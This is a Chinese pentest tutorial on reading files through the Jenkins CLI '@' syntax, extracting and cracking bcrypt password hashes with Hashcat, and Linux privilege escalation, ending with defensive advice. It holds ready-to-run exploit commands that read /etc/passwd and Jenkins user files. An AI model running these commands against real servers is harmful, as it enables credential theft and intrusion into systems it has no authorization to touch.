迎头痛击:Jenkins - Bcrypt密码哈希破解(权限提升的重要性)
字数 1720 2025-08-19 12:41:20
Jenkins Bcrypt密码哈希破解与Linux权限提升技术详解
1. Jenkins CLI工具与任意文件读取漏洞
1.1 Jenkins-cli.jar简介
jenkins-cli.jar是Jenkins的命令行接口(CLI)工具,提供通过命令行与Jenkins服务器交互的能力:
- 可管理任务、构建、节点和用户
- 无需登录网页界面即可执行操作
- 通常可从
http://[jenkins-server]:8080/jnlpJars/jenkins-cli.jar下载
1.2 Jenkins目录结构关键路径
/var/jenkins_home/包含Jenkins核心文件,重要子目录:
jobs/:存储所有工作项的配置文件plugins/:存放Jenkins插件credentials/:存储凭证信息secrets/:包含安全敏感信息users/:用户配置信息config.xml:全局配置文件
1.3 任意文件读取漏洞利用
利用connect-node、help或reload-job参数配合@符号实现文件读取:
java -jar jenkins-cli.jar -s http://target:8080/ connect-node '@/etc/passwd'
java -jar jenkins-cli.jar -s http://target:8080/ help '@/var/jenkins_home/users/users.xml'
java -jar jenkins-cli.jar -s http://target:8080/ reload-job '@/var/jenkins_home/users/users.xml'
技术原理:@符号通过args4j库告诉命令行解析器后面的参数是文件路径
1.4 官方补丁分析
补丁核心修改:
- 添加
ALLOW_AT_SYNTAX布尔变量控制@语法 - 使用
ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX)设置解析器属性
2. Bcrypt密码哈希提取与破解
2.1 哈希提取方法
通过读取用户配置文件获取密码哈希:
java -jar jenkins-cli.jar -s http://target:8080 connect-node '@/var/jenkins_home/users/[username]/config.xml'
示例哈希格式:
<passwordHash>#jbcrypt:$2a$10$GqneLZhOq6hRpCXeXF07tuAN..Q8GKDv5zad/HfcpNpL8GJUNNdDO</passwordHash>
2.2 Hashcat破解Bcrypt哈希
使用Hashcat进行破解:
hashcat -m 3200 hash.txt rockyou.txt
关键参数说明:
-m 3200:指定bcrypt算法hash.txt:包含提取的哈希文件rockyou.txt:常用密码字典
注意事项:
- Bcrypt设计为抗暴力破解,破解需要大量时间
- 建议使用高性能GPU加速破解
- 准备大型字典文件提高成功率
3. Linux权限提升技术
3.1 权限提升的重要性
- 扩大攻击范围
- 获取系统资源完全控制
- 便于横向移动
- 突破执行限制
3.2 常见Linux提权方法
3.2.1 内核漏洞利用
- 识别系统内核版本:
uname -a - 搜索对应exploit代码
- 编译执行获取root权限
3.2.2 SUID/SGID滥用
查找具有SUID/SGID位的文件:
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
常见可滥用程序:
findvimbashnmapcp
3.2.3 敏感文件读取
关键文件路径:
/etc/passwd/etc/shadow/etc/sudoers~/.bash_history~/.ssh/
3.2.4 定时任务利用
检查系统定时任务:
crontab -l
ls -la /etc/cron*
3.2.5 环境变量劫持
检查PATH变量和LD_PRELOAD滥用可能性
3.3 Windows提权案例:QQTIM本地提权(CVE-2023-34312)
漏洞原理:
- QQProtect.exe存在任意地址写入漏洞
- 攻击者可控制指针写入特定值
- 导致权限提升
利用步骤:
- 使用IDA分析QQProtect.exe
- 定位0x40c9f8处代码
- 利用可控指针实现任意地址写入
4. 综合渗透流程
- 信息收集:识别Jenkins版本和配置
- 漏洞利用:通过CLI工具读取敏感文件
- 凭证提取:获取用户密码哈希
- 哈希破解:使用Hashcat破解bcrypt哈希
- 后台登录:使用破解的凭据登录管理界面
- 获取Shell:通过Jenkins功能获取系统访问
- 权限提升:利用系统漏洞或配置弱点提权
- 权限维持:建立持久化访问(本文未详述)
5. 防御建议
-
Jenkins安全:
- 及时更新到最新版本
- 限制对
jenkins-cli.jar的访问 - 加强用户密码复杂度要求
-
系统安全:
- 定期更新系统和内核
- 最小化SUID/SGID文件
- 实施最小权限原则
- 监控敏感文件访问
-
密码安全:
- 使用强密码策略
- 定期更换密码
- 避免密码重用
-
日志监控:
- 监控异常文件读取行为
- 记录特权操作
- 设置可疑活动告警